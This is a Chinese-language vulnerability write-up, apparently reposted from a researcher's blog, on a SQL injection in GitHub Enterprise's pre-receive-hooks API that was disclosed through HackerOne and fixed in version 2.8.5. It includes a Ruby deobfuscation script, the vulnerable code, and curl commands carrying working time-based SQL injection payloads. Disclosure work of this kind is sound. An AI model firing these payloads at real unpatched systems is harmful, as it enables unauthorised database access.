GitHub Enterprise SQL Injection分析

前言

GitHub Enterprise 是一款由 GitHub.com 所出品,可将整个 GitHub 服务架设在自身企业内网中的应用软体。 有兴趣的话你可以从 enterprise.github.com 下载到多种格式的映像档并从网页上取得 45 天的试用授权!

安装完成后,你应该会看到如下的画面:

2016-12-27_152322

2016-12-27_153057

好!现在我们有整个 GitHub 的环境了,而且是在 VM 里面,这代表几乎有完整的控制权可以对他做更进一步的研究,分析环境、程式码以及架构等等…

环境

身为一个骇客,再进行入侵前的第一件事当然是 Port Scanning! 通过Nmap 扫描后发现 VM 上一共有 6 个端口对外开放:

$ nmap -sT -vv -p 1-65535 192.168.187.145
...
PORT STATE SERVICE 
22/tcp open ssh 
25/tcp closed smtp 
80/tcp open http 
122/tcp open smakynet 
443/tcp open https 
8080/tcp closed http-proxy 
8443/tcp open https-alt 
9418/tcp open git

这 6 个端口大致的作用是:

  • 22/tcp 及 9418/tcp 是 haproxy 协议,并将收到的连线转发到后段的 babeld 服务
  • 80/tcp 及 443/tcp 为 GitHub 主要服务的端口
  • 122/tcp 就是 SSH 服务
  • 8443/tcp GitHub Enterprise 的网页管理介面

额外一提的是,GitHub 的网页管理介面需要一组密码以供登入,但如果你有密码的话你可以直接通过管理介面新增自己的 SSH 密钥并登入 122/tcp 上的 SSH 所以 有管理员密码 == 可以远端代码执行 !

使用 SSH 连线进去后,审视一下整个系统发现所有服务的代码皆位于目录 /data/ 下,大致目录架构如下:

# ls -al /data/
total 92 
drwxr-xr-x 23 root root 4096 Nov 29 12:54 . 
drwxr-xr-x 27 root root 4096 Dec 28 19:18 .. 
drwxr-xr-x 4 git git 4096 Nov 29 12:54 alambic 
drwxr-xr-x 4 babeld babeld 4096 Nov 29 12:53 babeld 
drwxr-xr-x 4 git git 4096 Nov 29 12:54 codeload 
drwxr-xr-x 2 root root 4096 Nov 29 12:54 db 
drwxr-xr-x 2 root root 4096 Nov 29 12:52 enterprise 
drwxr-xr-x 4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage 
drwxr-xr-x 4 git git 4096 Nov 29 12:54 failbotd 
drwxr-xr-x 3 root root 4096 Nov 29 12:54 git-hooks 
drwxr-xr-x 4 git git 4096 Nov 29 12:53 github 
drwxr-xr-x 4 git git 4096 Nov 29 12:54 git-import 
drwxr-xr-x 4 git git 4096 Nov 29 12:54 gitmon 
drwxr-xr-x 4 git git 4096 Nov 29 12:54 gpgverify 
drwxr-xr-x 4 git git 4096 Nov 29 12:54 hookshot 
drwxr-xr-x 4 root root 4096 Nov 29 12:54 lariat 
drwxr-xr-x 4 root root 4096 Nov 29 12:54 longpoll 
drwxr-xr-x 4 git git 4096 Nov 29 12:54 mail-replies 
drwxr-xr-x 4 git git 4096 Nov 29 12:54 pages 
drwxr-xr-x 4 root root 4096 Nov 29 12:54 pages-lua 
drwxr-xr-x 4 git git 4096 Nov 29 12:54 render 
lrwxrwxrwx 1 root root 23 Nov 29 12:52 repositories -> /data/user/repositories 
drwxr-xr-x 4 git git 4096 Nov 29 12:54 slumlord 
drwxr-xr-x 20 root root 4096 Dec 28 19:22 user

接着随便选取一个目录尝试读取源码,发现源码看起来被加密了 🙁 加密后的源码看起来像是:

2016-12-27_205032

GitHub 使用客制化的函式库来混淆他们的源码,如果你在 Google 上搜寻客制化函示酷的名称ruby_concealer.so 你会发现已经有个好心人把写好的解密程式放在 这份 gist 上了!

解密程式很简单,只是单纯将函示库中的 rb_f_eval 替换成 rb_f_puts ,所以原本会进行 eval 的动作变成直接将解密后的源码打印出来!

但是身为一个骇客,不能只是 Script Kiddie 伸手党只会使用别人的程式,必须要了解它内部原理是如何实现的!

所以我们来打开 IDA Pro 来分析一下 Binary 吧! ๑•̀ㅂ•́)و

2017-01-05_184700

2017-01-05_184720

从上方的 Hex-Rays 转 C 语言代码可以看到,函示库使用 Zlib::Inflate::inflate 先将源码乱码的资料解压缩,接着再使用 XOR 并用下面的密钥进行解密:

This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this ‘encryption’ is easily broken.

了解原理后其实可以很简单的写个小程式去解密它!

require 'zlib' 
key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications 
to the VM. We know this 'encryption' is easily broken. "

def decrypt(s) 
 i, plaintext = 0, ''

Zlib::Inflate.inflate(s).each_byte do |c|
 plaintext << (c ^ key[i%key.length].ord).chr
 i += 1
 end
 plaintext
end

content = File.open(ARGV[0], "r").read 
content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt " 
plaintext = eval content

puts plaintext

代码分析

在反混淆 GitHub 的代码后,终于可以开始我们的源码审计! 首先,使用 cloc 看一下大致架构组成!

$ cloc /data/
 81267 text files.
 47503 unique files.
 24550 files ignored.

http://cloc.sourceforge.net v 1.60 T=348.06 s (103.5 files/s, 15548.9 lines/s) 
-----------------------------------------------------------------------------------
Language files blank comment code 
-----------------------------------------------------------------------------------
Ruby 25854 359545 437125 1838503 
Javascript 4351 109994 105296 881416 
YAML 600 1349 3214 289039 
Python 1108 44862 64025 180400 
XML 121 6492 3223 125556 
C 444 30903 23966 123938 
Bourne Shell 852 14490 16417 87477 
HTML 636 24760 2001 82526 
C++ 184 8370 8890 79139 
C/C++ Header 428 11679 22773 72226 
Java 198 6665 14303 45187 
CSS 458 4641 3092 44813 
Bourne Again Shell 142 6196 9006 35106 
m4 21 3259 369 29433 
...

看一下 Ruby 以及 Rails 的版本

$ ./bin/rake about
About your application's environment 
Ruby version 2.1.7 (x86_64-linux) 
RubyGems version 2.2.5 
Rack version 1.6.4 
Rails version 3.2.22.4 
JavaScript Runtime Node.js (V8) 
Active Record version 3.2.22.4 
Action Pack version 3.2.22.4 
Action Mailer version 3.2.22.4 
Active Support version 3.2.22.4 
Middleware GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, 
ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, 
ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, 
ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, 
ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, 
ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport 
Application root /data/github/9fcdcc8 
Environment production 
Database adapter githubmysql2 
Database schema version 20161003225024

大部分的代码使用 Ruby 撰写,可以看出 GitHub 很喜欢使用 Ruby on Rails 及 Sinatra 等 Ruby 网页框架进行网页开发

  • 目录 /data/github/ 看起来是跑在 80/tcp 443/tcp 的服务,经过一些指纹分析,看起来这份源码是真的跑在 github.com、 gist.github.com 及 api.github.com 的源码!
  • /data/render/ 看起来是跑在 render.githubusercontent.com 的源码
  • /data/enterprise-manage/ 是 8443/tcp 管理界面的源码

GitHub Enterprise 的源码同时也是 GitHub.com 的源码,但两者实际上运行会有差异吗?

经过一点研究后发现这份代码使用了 enterprise? 及 dotcom? 这两个方法来判断当前是在 Enterprise 模式 或是 GitHub dot com 模式 ,所以有些只有在 Enterprise 才有的功能从 GitHub.com 上会无法访问,不过猜测两者的 Code Base 应该是一样的没错!

漏洞

我大约花了一个礼拜的进行代码审计跟发现漏洞,本身并不是很熟 Ruby (Ruby 很魔法,本身是 Python 派XD),但就是边看边学 相信也有很多人也是这样,先学会 SQL Injection 才学会 SQL,先学会逆向工程组合语言才学会 C 语言的 😛

大致上的流程差不多是:

  • Day 1 – 设定 VM
  • Day 2 – 设定 VM
  • Day 3 – 代码审计,顺便学 Rails
  • Day 4 – 代码审计,顺便学 Rails
  • Day 5 – 代码审计,顺便学 Rails
  • Day 6 – 耶,找到漏洞惹!

漏洞存在于 PreReceiveHookTarget 这个 model 上!

整个漏洞发生的核心原因在于 /data/github/current/app/model/pre_receive_hook_target.rb 这个档案的第 45 行

33 scope :sorted_by, -> (order, direction = nil) { 
34 direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC" 
35 select(<<-SQL) 
36 #{table_name}.*, 
37 CASE hookable_type 
38 WHEN 'global' THEN 0 
39 WHEN 'User' THEN 1 
40 WHEN 'Repository' THEN 2 
41 END AS priority 
42 SQL 
43 .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id") 
44 .readonly(false) 
45 .order([order, direction].join(" ")) 
46 }

虽然 Rails 使用内建的 ORM(或叫做 ActiveRecord) 来保护开发者免于 SQL Injection 的困扰,但在使用 ActiveRecord 上如果误用了一些函数还是有可能造成 SQL Injection 漏洞的,像是对于 SQL 中 identity 的使用如果直接代入使用者输入,在许多 ORM 上都是会产生 SQL Injection 的,更多的细节你可以参考 Rails-sqli.org 这个网站,它整理了很多 Rails 中误用的例子!

在 GitHub Enterprise 这个案例中,如果我们可以控制 order 这个参数,就可以注入恶意的 SQL 到服务器中,所以接下来尝试往上追,看那些代码会使用到 sorted_by 这个方法?

往上追后,发现 /data/github/current/app/api/org_pre_receive_hooks.rb 第 61 行:

10 get "/organizations/:organization_id/pre-receive-hooks" do 
11 control_access :list_org_pre_receive_hooks, :org => org = find_org! 
12 @documentation_url << "#list-pre-receive-hooks" 
13 targets = PreReceiveHookTarget.visible_for_hookable(org) 
14 targets = sort(targets).paginate(pagination) 
15 GitHub::PrefillAssociations.for_pre_receive_hook_targets targets 
16 deliver :pre_receive_org_target_hash, targets 
17 end 
...
60 def sort(scope) 
61 scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc") 
62 end

使用者参数 params[:sort] 直接被代入到 scope.sorted_by 中,所以只要在 /organizations/:organization_id/pre-receive-hooks 这个路由上的 sort 参数上插入恶意的 SQL 就可以产生 SQL Injection!

由于这个漏洞是在 GitHub Enterprise 的 API 功能中,在触发漏洞之前必须先有一组合法的 access_token 并且拥有 admin:pre_receive_hook 的权限才可以。

不过这点对我们来说也不是难事,经过一段时间的代码审计发现可以通过下面的指令来取得相对应的权限:

$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \
-d '{"scopes":"admin:pre_receive_hook","note":"x"}'
{
 "id": 4,
 "url": "https://192.168.187.145/api/v3/authorizations/4",
 "app": {
 "name": "x",
 "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",
 "client_id": "00000000000000000000"
 },
 "token": "????????",
 "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",
 "token_last_eight": "1fadac36",
 "note": "x",
 "note_url": null,
 "created_at": "2017-01-05T22:17:32Z",
 "updated_at": "2017-01-05T22:17:32Z",
 "scopes": [
 "admin:pre_receive_hook"
 ],
 "fingerprint": null
}

一但有了 access_token ,接着就可以用以下的指令触发漏洞:

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,
(select+1+from+information_schema.tables+limit+1,1)' 
[

]

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \

'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,
(select+1+from+mysql.user+limit+1,1)' 
{
 "message": "Server Error",
 "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"
}

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \

'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????
&sort=id,if(user()="github@localhost",sleep(5),user()) 
{
 ...
}

使用 Time-Based SQL Injection 判断数据库使用者是否为 github@localhost

5

Timeline

  • 2016/12/26 05:48 通过 HackerOne 回报漏洞给 GitHub
  • 2016/12/26 08:39 GitHub 回复已确认漏洞并且正在修复中
  • 2016/12/26 15:48 提供更多漏洞细节给 GitHub
  • 2016/12/28 02:44 GitHub 回复漏洞会在下一个版本的 GitHub Enterprise 中修复
  • 2017/01/04 06:41 GitHub 提供 $5,000 USD 的奖金
  • 2017/01/05 02:37 询问如果要发表 Blog 的话是否有需要注意的地方?
  • 2017/01/05 03:06 GitHub 回复没问题,请发!
  • 2017/01/05 07:06 GitHub Enterprise 2.8.5 发表!

 

*作者:orange,MottoIN编译发布,转载请注明来自MottoIN

原创文章,作者:Moto,如若转载,请注明出处:http://www.mottoin.com/article/code/95350.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code